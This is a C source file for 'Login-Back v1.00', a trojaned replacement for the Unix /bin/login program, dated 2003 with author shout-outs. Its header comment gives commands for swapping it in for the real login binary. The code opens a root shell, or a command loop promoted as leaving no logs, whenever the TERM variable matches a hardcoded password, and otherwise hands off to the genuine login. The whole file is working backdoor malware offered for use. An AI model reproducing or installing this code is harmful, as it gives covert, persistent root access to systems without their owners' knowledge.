/*
Login-Back v1.00 coded by tracewar(tracewar@walla.co.il) >:O
2/10/2003 - again im bored it looks cool the danish etc ;)

shouts to Damn- kokanin dvdman illumanti izik slash-off no1 kishkash sagi_ liquid suid(ami not you tal, bastard!) wolfi
sorry if i forgot someone :P

install:
gcc login-back.c -o tmp
mv /bin/login /bin/.login
mv tmp /bin/login
chmod +x /bin/login

HF q:-)

*/

#include <stdio.h>
#include <stdlib.h>
#define PASSW "blating"
#define GREAT "/bin/.login"

char ddd1[1024];
int blat;

int main(){

if((!strcmp(getenv("TERM"),PASSW))){
printf("Login-Back v1.00 Menu:\n");
printf("1. Command Shell\n");
printf("2. SECURED command shell.(no logs etc)\n");
printf("3. print this help menu\n");
sexo();}

sprintf(ddd1, "%s", GREAT);
system(ddd1);
return(0);}

int sexo(){

printf("danish& ");
gets(ddd1);

if((!strcmp(ddd1, "1"))){
printf("Entering CommandShell...\n");
setuid(0);
system("/bin/sh");
return(0);}

if((!strcmp(ddd1, "2"))){
printf("Secured Command Shell to exit just write exit..\n");
while(blat != 100){ // never ending loop
printf("danish# ");
gets(ddd1);
if((!strcmp(ddd1, "exit"))){
return(0);}
system(ddd1);}
return(0);}

if((!strcmp(ddd1, "4"))){
printf("Login-Back v1.00 Menu:\n");
printf("1. Command Shell\n");
printf("2. SECURED command shell.(no logs etc)\n");
printf("3. run w on the system to see whos connected.\n");
printf("4. print this help menu\n");
sexo();}
if((!strcmp(ddd1, "3"))){
printf("running w...:");
system("w");
sexo();}

sexo();}